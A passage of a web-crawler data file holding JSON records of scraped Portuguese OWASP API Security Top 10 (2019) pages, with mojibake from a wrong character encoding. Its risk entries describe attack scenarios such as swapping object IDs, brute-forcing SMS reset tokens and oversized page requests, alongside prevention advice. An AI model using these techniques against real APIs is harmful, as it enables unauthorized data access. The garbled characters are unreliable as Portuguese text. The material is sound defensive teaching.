"https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0x11-t10/", "titulek": "OWASP Top 10 Riscos de Segurança de API – 2019 - OWASP API Security Top 10", "h1": "OWASP Top 10 Riscos de Segurança de API – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0x11-t10/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 Riscos de Segurança de API – 2019"}], "markdown": "# OWASP Top 10 Riscos de Segurança de API – 2019\n\n| Risco | Descrição |\n| --- | --- |\n| API1:2019 - Broken Object Level Authorization | APIs tendem a expor *endpoints* para manipulação de objetos internos criando uma ampla camada de ataque ao controle de nĂ­vel de acesso. O controle de autorização deve ser verificado em toda função que tenha acesso Ă fontes de dados que utilizem dados enviados pelo usuĂĄrio. |\n| API2:2019 - Broken User Authentication | Mecanismos de autorização nĂŁo raramente sĂŁo implementados incorretamente, permitindo que atacantes comprometam tokens de autenticação ou explorem falhas na implementação para assumir identidades temporĂĄria ou permanentemente. Isto compromete a habilidade dos sistemas em identificar o usuĂĄrio/cliente comprometendo a segurança da API. |\n| API3:2019 - Excessive Data Exposure | Implementaçþes rĂĄpidas e de maneira genĂŠrica podem fazer que desenvolvedores exponham todas as propriedades dos objetos sem considerar que determinadas informaçþes podem ser sensĂ­veis ao indivĂ­duo e deixando ao cliente as atividades de filtrar as informaçþes antes de exibi-las ao usuĂĄrio. |\n| API4:2019 - Lack of Resources & Rate Limiting | NĂŁo raramente APIs nĂŁo impĂľem restriçþes ao tamanho ou Ă quantidade de recursos que podem ser requisitados pelo cliente/usuĂĄrio. O impacto vai alĂŠm do desempenho de servidores de API, resultado em *Denial of Service (DoS)*, mas tambĂŠm, podem deixar portas abertas para falhas de autenticação por força bruta. |\n| API5:2019 - Broken Function Level Authorization | PolĂ­ticas complexas no controle de acesso, com diferentes hierarquias, grupos, papĂŠis e uma falta de clareza na separação entre papĂŠis comuns e de administração podem levar a falhas de autenticação. Explorando esta condição, atacantes podem ganhar acesso Ă recursos de terceiros ou Ă funçþes administrativas. |\n| API6:2019 - Mass Assignment | Conectar dados entregues pelo cliente (ex. JSON) diretamente em modelos de dados sem filtrar apropriadamente propriedades em *whitelist* podem eventualmente levar a atribuição em massa. Mesmo buscando adivinhar propriedades, explorando outros *endpoints*, consultando documentação e enviando propriedades adicionais em *payload* os atacantes podem modificar propriedades de objetos os quais nĂŁo deveria. |\n| API7:2019 - Security Misconfiguration | Configuraçþes de segurança incorretas, de maneira geral, ĂŠ resultado de configuraçþes padrĂŁo ou configuraçþes incompletas. Armazenamento em nuvem abertas, configuraçþes incorretas em cabeçalhos HTTP, mĂŠtodos HTTP desnecessĂĄrios, CORS permissivos e divulgação de mensagens de erro com informaçþes sensĂ­veis. |\n| API8:2019 - Injection | Injeção de falhas como SQL, NoSQL, injeção de comandos e etc, ocorrem quando informaçþes nĂŁo confiĂĄveis sĂŁo enviadas ao interpretador como parte de um comando ou consulta. A informação maliciosa do atacante pode enganar o interpretador a executar comandos nĂŁo esperados ou acessar dados sem a autorização adequada. |\n| API9:2019 - Improper Assets Management | APIs tendem a expor mais *endpoints* que uma aplicação web tradicional, de forma que documentação apropriada e atualizada ĂŠ muito importante. GestĂŁo de inventĂĄrio de versĂľes de API tem papel importante para mitigar problemas como versĂľes antigas de API e *endpoints* de debug. |\n| API10:2019 - Insufficient Logging & Monitoring | Falta de log e monitoramento, acoplado com falta ou ineficiente integração com respostas a incidentes, permite que atacantes consigam ter persistĂŞncia e descobrir outros sistemas para explorar, extrair ou destruir informação. Muitos estudos demonstram que a descoberta de uma brecha leva mais de 200 dias para ser identificada, alĂŠm de muitas vezes ser detectada mais por terceiros que por um processo interno. |", "znaku_textu": 3785, "slov": 519, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:26", "sha256": "3b9bc5774b10a169310f4b48c0f204a1a338fc9ce3ca9f4069732a0aff1485cd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2019 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa1-broken-object-level-authorization/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Broken Object Level Authorization"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API1:2019 Broken Object Level Authorization\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **3** | PrevalĂŞncia **3** : Detecção **2** | TĂŠcnico **3** : EspecĂ­fico do negĂłcio |\n| Atacantes podem explorar *endpoints* de API que estejam vulnerĂĄveis a quebrar nĂ­veis de autorização com a manipulação de ID de objeto enviado na requisição. Isto pode levar a acesso Ă informaçþes nĂŁo autorizadas a dados sensĂ­veis. Este problema ĂŠ extremamente comum em aplicaçþes baseadas em APIs uma vez que os componentes de servidores usualmente nĂŁo verificam o estado do cliente, ao invĂŠs disso, confia em parâmetros como IDs de objeto que sĂŁo enviados pelo cliente que decide qual objeto acessar. | Este ĂŠ o mais comum e impactante ataque contra APIs. Autorização e mecanismos de controle de acesso em aplicaçþes modernas sĂŁo complexos e amplos. Mesmo se a aplicação implementa uma apropriada infraestrutura de verificação de autorização, desenvolvedores podem esquecer de usar tais verificaçþes antes de acessar objetos com informaçþes sensĂ­veis. Controle de acesso nĂŁo ĂŠ tipicamente favorĂĄvel a testes automatizados, estĂĄticos ou dinâmicos. | Acesso nĂŁo autorizado pode resultar no vazamento de dados Ă partes nĂŁo autorizadas, perda ou manipulação de dados. Acesso nĂŁo autorizado Ă objetos tambĂŠm podem levar a tomada de contas. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nO nĂ­vel de autorização de objeto ĂŠ um mecanismo de controle de acesso que usualmente ĂŠ implementado ao nĂ­vel de cĂłdigo para validar que um usuĂĄrio pode apenas acessar objetos aos quais realmente tem permissĂŁo.\n\nTodo *endpoint* de API que recebe um ID de objeto, e executa qualquer tipo de ação sobre este objeto, deve implementar verificaçþes de autorização de acesso ao nĂ­vel deste objeto. A verificação deve validar que o usuĂĄrio tem acesso para executar aquela ação no objeto requisitado.\n\nFalhas nesse mecanismo geralmente levam ao acesso nĂŁo autorizado de informaçþes, vazamento de dados, modificação ou destruição de dados.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nUma plataforma de *e-commerce* para lojas de compras online entrega uma listagem com os grĂĄficos de receita de suas lojas hospedadas. Inspecionando as requisiçþes do navegador, o atacante pode identificar que os *endpoints* utilizados como fonte de dados para os grĂĄficos utiliza um padrĂŁo como `/shops/{shopName}/revenue_data.json`. Utilizando outro *endpoint* da API, o atacante consegue uma lista de todos os nomes das lojas hospedadas na plataforma. Com um simples *script* o atacante pode agora, manipulando o nome substituindo o parâmetro `{shopName}` na URL, ganhar acesso aos dados das vendas de milhares de lojas que utilizam a plataforma de *e-commerce*.\n\n### CenĂĄrio #2\n\nEnquanto monitora o trĂĄfego de rede um *wearable device*, o atacante tem sua atenção despertada ao perceber o verbo HTTP `PATCH` possui o cabeçalho customizado `X-User-Id: 54796`. Substituindo o valor do cabeçalho o atacante recebe uma resposta HTTP vĂĄlida, sendo possĂ­vel portanto modificar os dados de outros usuĂĄrios.\n\n## Como prevenir\n\n- Implementar mecanismo apropriado de autorização de acesso baseado em polĂ­ticas e hierarquias.\n- Utilizar uma autorização para verificar se o usuĂĄrio pode acessar e executar açþes nos registros em todas as funçþes que utiliza *input* do usuĂĄrio para acessar dados.\n- Prefira utilizar valores randĂ´micos como GUIs para ids de registros.\n- Escreva testes para avaliar seu mecanismo de autorização, nĂŁo autorize *deployment* de mudanças de cĂłdigo que quebrem estes testes.\n\n## ReferĂŞncias\n\n### Externas\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 3902, "slov": 556, "odkazu": 165, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:35", "sha256": "a4ff344067a2795bc54025d9f4ec6ffed919085670ef13c91d8342c9ac649e02", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa2-broken-user-authentication/", "titulek": "API2:2019 Broken User Authentication - OWASP API Security Top 10", "h1": "API2:2019 Broken User Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa2-broken-user-authentication/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Broken User Authentication"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API2:2019 Broken User Authentication\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **3** | PrevalĂŞncia **2** : Detecção **2** | TĂŠcnico **3** : EspecĂ­fico do negĂłcio |\n| Autenticação em APIs ĂŠ um mecanismo complexo e confuso. Engenheiros e arquitetos de software e segurança podem ter conceitos equivocados a respeito de quais sĂŁo os limites da autenticação e na forma como devem ser implementados corretamente. Adicionalmente, mecanismos de autenticação sĂŁo alvo de atacantes pois estĂŁo expostos a todos. Estes dois pontos fazem da autenticação um componente vulnerĂĄvel a muitos tipos de *exploits*. | Existem dois tipos de sub-problemas: 1. Falta de mecanismo de proteção: Os *endpoints* da API que geralmente sĂŁo responsĂĄveis pela autenticação devem ser tratados diferentemente dos *endpoints* regulares e implementam camadas extras de proteção. 2. MĂĄ implementação do mecanismo: O mecanismo ĂŠ usado ou implementado sem considerar vetores de ataque ou com casos de uso inadequados (ex.: um mecanismo de autenticação desenvolvido para dispositivos IoT pode nĂŁo ser a melhor opção para aplicativos web). | Atacantes podem tomar controle de outras contas de usuĂĄrios no sistema, acessar seus dados pessoais e executar açþes sensĂ­veis em seu nome, como transaçþes financeiras e enviar mensagens pessoais. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nOs *endpoints* e fluxos de autorização sĂŁo ativos que devem ser protegidos. \"Esqueci minha senha/Redefinição de senha\" devem ser tratados da mesma forma que outros mecanismos de autenticação.\n\nUma API estĂĄ vulnerĂĄvel se:\n* Permite a prĂĄtica de *[credential stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)* o qual o atacante tem uma lista de nomes de usuĂĄrio e senhas.\n* Permite que atacantes executem força bruta contra uma mesma conta de usuĂĄrio sem exibir CAPTCHA ou mecanismo de bloqueio da conta.\n* Permite o uso de senhas fracas.\n* Envia detalhes sensĂ­veis da autenticação como *tokens* e senhas na URL.\n* NĂŁo executa a validação de autenticidade de *tokens*.\n* Aceita *tokens* JWT nĂŁo assinados/fracos (`\"alg\":\"none\"`)/nĂŁo valida data de expiração.\n* Utiliza senhas em texto plano, nĂŁo criptografadas ou com hash fraco de criptografia.\n* Usa chaves de criptografias fracas.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\n*[Credential stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)* (utilizando [listas de usuĂĄrio e senha conhecidas](https://github.com/danielmiessler/SecLists)), ĂŠ um ataque comum. Se uma aplicação nĂŁo implementar em sua arquitetura proteçþes automatizadas ou proteçþes contra *credential stuffing*, a aplicação pode ser utilizada como base de teste para determinar se credenciais sĂŁo vĂĄlidas.\n\n### CenĂĄrio #2\n\nUm atacante inicia um processo de recuperação de senha enviando uma requisição POST para o *endpoint* `/api/system/verification-codes` e enviando um usuĂĄrio no corpo da requisição. Um *token* SMS com 6 dĂ­gitos ĂŠ enviado para o telefone mĂłvel da vĂ­tima. Uma vez que a API nĂŁo implementa um mecanismo de limite, o atacante pode testar todas as combinaçþes possĂ­veis utilizando um script *multi-thread* contra o endpoint `/api/system/verification-codes/{smsToken}` e assim descobrir o token correto em alguns minutos.\n\n## Como prevenir\n\n- Certifique-se que conhece todos os fluxos possĂ­veis para autenticar-se na API.\n- Pergunte aos engenheiros/arquitetos quais fluxos vocĂŞ esqueceu.\n- Leia sobre seus mecanismos de autenticação. Tenha certeza que vocĂŞ compreende quando e como foram utilizados. OAuth nĂŁo ĂŠ mecanismo de autenticação, e nĂŁo ĂŠ chave de API.\n- NĂŁo reinvente a roda em autenticação, geração de *token* , armazenamento de senhas. Utilize o que ĂŠ padrĂŁo.\n- *Endpoints* para recuperação de senhas devem ser tratados assim como aqueles voltados para os processos de login para questĂľes como ataques de força bruta, limitação de confiança e bloqueio de contas.\n- Use as informaçþes do projeto [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Sempre que possĂ­vel, implemente autenticação multi-fator.\n- Implemente mecanismos anti força bruta para mitigar *credential stuffing* , ataque por dicionĂĄrio em seus *endpoints* de autenticação. A taxa de confiança da proteção desse mecanismo deve ser mais restrito que os demais mecanismos na sua API.\n- Implemente [bloqueio de conta](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) / mecanismos de CAPTCHA a fim de prevenir o uso de força bruta contra usuĂĄrios especĂ­ficos. Implemente verificação de senhas fracas.\n- Chaves de API nĂŁo devem ser utilizadas para autenticação de usuĂĄrios, mas para [aplicativos clientes e autenticação de projetos](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## ReferĂŞncias\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)\n\n### Externas\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 5316, "slov": 684, "odkazu": 170, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:55", "sha256": "1c9cf74cecd61cb1c0d1e54520379f5d7cdac3b122aa70bcf0b7ec33893a7a90", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Excessive Data Exposure - OWASP API Security Top 10", "h1": "API3:2019 Excessive Data Exposure", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa3-excessive-data-exposure/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Excessive Data Exposure"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API3:2019 Excessive Data Exposure\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **3** | PrevalĂŞncia **2** : Detecção **2** | TĂŠcnico **2** : EspecĂ­fico do negĂłcio |\n| A exploração por excesso de exposição de dados ĂŠ simples, e usualmente realizada com o monitoramento do trĂĄfego investigando as respostas da API, buscando dados sensĂ­veis que nĂŁo deveriam ser entregues ao usuĂĄrio. | APIs confiam em clientes para açþes de filtro de informação. Desde que APIs sĂŁo utilizadas como fonte de informaçþes, algumas vezes os desenvolvedores as implementam de maneira genĂŠrica sem considerar o quĂŁo sensĂ­veis sĂŁo os dados que elas expĂľem. Ferramentas de anĂĄlise automatizada geralmente nĂŁo podem detectar este tipo de vulnerabilidade em razĂŁo de ser difĂ­cil da legitimidade dos dados retornados pela API, e dados considerados sensĂ­veis nĂŁo devem ser retornado sem uma profunda anĂĄlise e compreensĂŁo da aplicação. | Excesso de exposição de dados geralmente levam ao vazamento de dados sensĂ­veis. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nA API retorna dados sensĂ­veis ao cliente por padrĂŁo. Este dado entĂŁo ĂŠ filtrado no lado do cliente antes de ser apresentado ao usuĂĄrio. Um atacante pode facilmente investigar o trĂĄfego e enxergar os dados sensĂ­veis.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nO time de desenvolvimento mĂłvel utiliza o *endpoint* `/api/articles/{articleId}/comments/{commentId}` para exibir metadados dos comentĂĄrios em artigos. Investigando o trĂĄfego do aplicativo mĂłvel, um atacante encontra outros dados sensĂ­veis relacionados ao autores de comentĂĄrios que tambĂŠm sĂŁo entregues. Isto acontece por uma implementação genĂŠrica do *endpoint* utilizando o mĂŠtodo de serialização `toJson()` ao modelo `User`, que tambĂŠm inclui dados sensĂ­veis.\n\n### CenĂĄrio #2\n\nUm sistema de vigilância baseado em IoT permite aos administradores a criação de usuĂĄrios com diferentes nĂ­veis de permissĂŁo. Um usuĂĄrio admin criou uma conta para um novo guarda de segurança que deve ter acesso somente a algumas ĂĄreas especĂ­ficas do prĂŠdio. Uma vez que utiliza um aplicativo mĂłvel, uma chamada de API ĂŠ realizada em `/api/sites/111/cameras` para que sejam recebidas informaçþes a respeito das câmeras disponĂ­veis para apresentação em um painel de controle. A resposta da API contĂŠm uma lista com detalhes a respeito das câmeras no seguinte formato: `/api/sites/111/cameras`. Enquanto a interface grĂĄfica exibe apenas as câmeras Ă s quais deveria o guarda ter acesso, a resposta da API contĂŠm uma lista de todas as câmeras em uso naquele prĂŠdio.\n\n## Como prevenir\n\n- Nunca confie no cliente para filtrar dados sensĂ­veis.\n- Revise as respostas da API para ter certeza que elas contenham apenas informaçþes necessĂĄrias.\n- Engenheiros e arquitetos de *endpoints* sempre devem ser perguntar: quem irĂĄ utilizar esta informação? antes de expor um novo *endpoint* de API.\n- Tenha cuidado ao utilizar mĂŠtodos genĂŠricos como `to_json()` e `to_string()` . Ao contrĂĄrio, seja criterioso com cada propriedade que seja necessĂĄrio retornar.\n- Classifique dados sensĂ­veis e dados pessoais que sua aplicação armazena, revise todas as chamadas de API se estas chamadas podem significar um problema de segurança.\n- Implemente respostas com mecanismos baseados em *schema* como uma camada extra de segurança. Aplique o mecanismo e o imponha a todos os dados retornados pela API, inclusive erros.\n\n## ReferĂŞncias\n\n### Externas\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 3554, "slov": 510, "odkazu": 163, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:05", "sha256": "17b0d2c3fbf01b3f2b40252f7d67314d46252a4959fa8f13f40cde991eabbf09", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Lack of Resources & Rate Limiting - OWASP API Security Top 10", "h1": "API4:2019 Lack of Resources & Rate Limiting", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Lack of Resources & Rate Limiting"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API4:2019 Lack of Resources & Rate Limiting\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **2** | PrevalĂŞncia **3** : Detecção **3** | TĂŠcnico **2** : EspecĂ­fico do negĂłcio |\n| A exploração requer simples requisiçþes na API. NĂŁo ĂŠ necessĂĄria autenticação. Requisiçþes mĂşltiplas e concorrentes podem ser executadas de um Ăşnico ponto utilizando um Ăşnico computador ou ainda utilizando recursos em nuvem. | É comum encontrar APIs que nĂŁo implementam limites ou estes limites nĂŁo estĂŁo implementados corretamente. | A exploração pode levar ao DoS, levando a API Ă lentidĂŁo ou Ă completa indisponbilidade. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nRequisiçþes de API consome recursos como rede, processador, memĂłria e armazenamento. A quantidade de recursos necessĂĄria para um desempenho satisfatĂłrio depende da entrada do usuĂĄrio e da lĂłgica de negĂłcio da API. Considere tambĂŠm que o fato de mĂşltiplas chamadas na API a partir de diversos clientes irĂŁo competir pelos recursos. Um API ĂŠ vulnerĂĄvel se algum dos seguintes parâmetros estiverem ausentes ou mal configurados (em excesso ou muito baixos):\n\n- Tempo limite de execução ( *timeout* )\n- Limite mĂĄximo de alocação de memĂłria\n- NĂşmero de *file descriptors*\n- NĂşmero de processadores\n- Tamanho de *payload* (ex. uploads)\n- NĂşmero de requisiçþes por cliente/recurso\n- NĂşmero de registros por pĂĄgina a retornar em uma Ăşnica requisição\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nUm atacante faz *uploads* de imagens grandes enviando request POST em `/api/v1/images`, quando o upload ĂŠ finalizado, a API cria mĂşltiplos *thumbnails* com diferentes tamanhos. Devido ao grande tamanho da imagem enviada por upload, a memĂłria disponĂ­vel ĂŠ exaurida durante a criação dos *thumbnails* e a API fica indisponĂ­vel.\n\n### CenĂĄrio #2\n\nUma aplicação contĂŠm uma lista de usuĂĄrios em uma interface com o limite de `200` usuĂĄrios por pĂĄgina. A lista ĂŠ solicitada ao servidor utilizando a seguinte *query* `/api/users?page=1&size=200`. Um atacante modifica o parâmetro `size` de `200` para `200000`, provocando problemas de desempenho no banco de dados. Enquanto isso, a API torna-se indisponĂ­vel e portanto incapaz de responder outras requisiçþes deste e de todos os demais clientes (tambĂŠm conhecido como DoS).\n\nEste mesmo cenĂĄrio pode ser utilizado para provocar erros de *Integer Overflow* ou *Buffer Overflow*.\n\n## Como prevenir\n\n- Docker torna mais fĂĄcil limitar [memĂłria](https://docs.docker.com/config/containers/resource_constraints/#memory) , [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [quantidade de *restart*](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) , [*file descriptors*, e processos](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) .\n- Implemente um limite de frequĂŞncia para um cliente chamar a API em um determinado espaço de tempo.\n- Notifique o cliente quando o limite for excedido, informando o limite e quando o limite alcançado serĂĄ reiniciado.\n- Adicione validaçþes do lado do servidor para validação de parâmetros, principalmente controles de quantidade de registros a serem retornados.\n- Defina e implemente tamanhos mĂĄximos de dados recebidos por parâmetro e *payloads* .\n\n## ReferĂŞncias\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### Externas\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 4308, "slov": 521, "odkazu": 173, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:14", "sha256": "255c1a59ad21be93e95f052af08d04273cbca6448fe42cbff0f851ae3ad97c7e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2019 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa5-broken-function-level-authorization/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Broken Function Level Authorization"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API5:2019 Broken Function Level Authorization\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **3** | PrevalĂŞncia **2** : Detecção **1** | TĂŠcnico **2** : EspecĂ­fico do negĂłcio |\n| A exploração requer que o atacante envie chamadas legĂ­timas ao *endpoint* da API ao qual nĂŁo deveria ter acesso. Estes *endpoints* estĂŁo expostos para usuĂĄrios anĂ´nimos ou Ă usuĂĄrios regulares e/ou nĂŁo privilegiados. É fĂĄcil encontrar estas falhas uma vez que APIs melhor estruturadas possuem funçþes mais previsĂ­veis (ex. modificando mĂŠtodos HTTPS de GET para PUT ou mudando a URL de \"users\" para 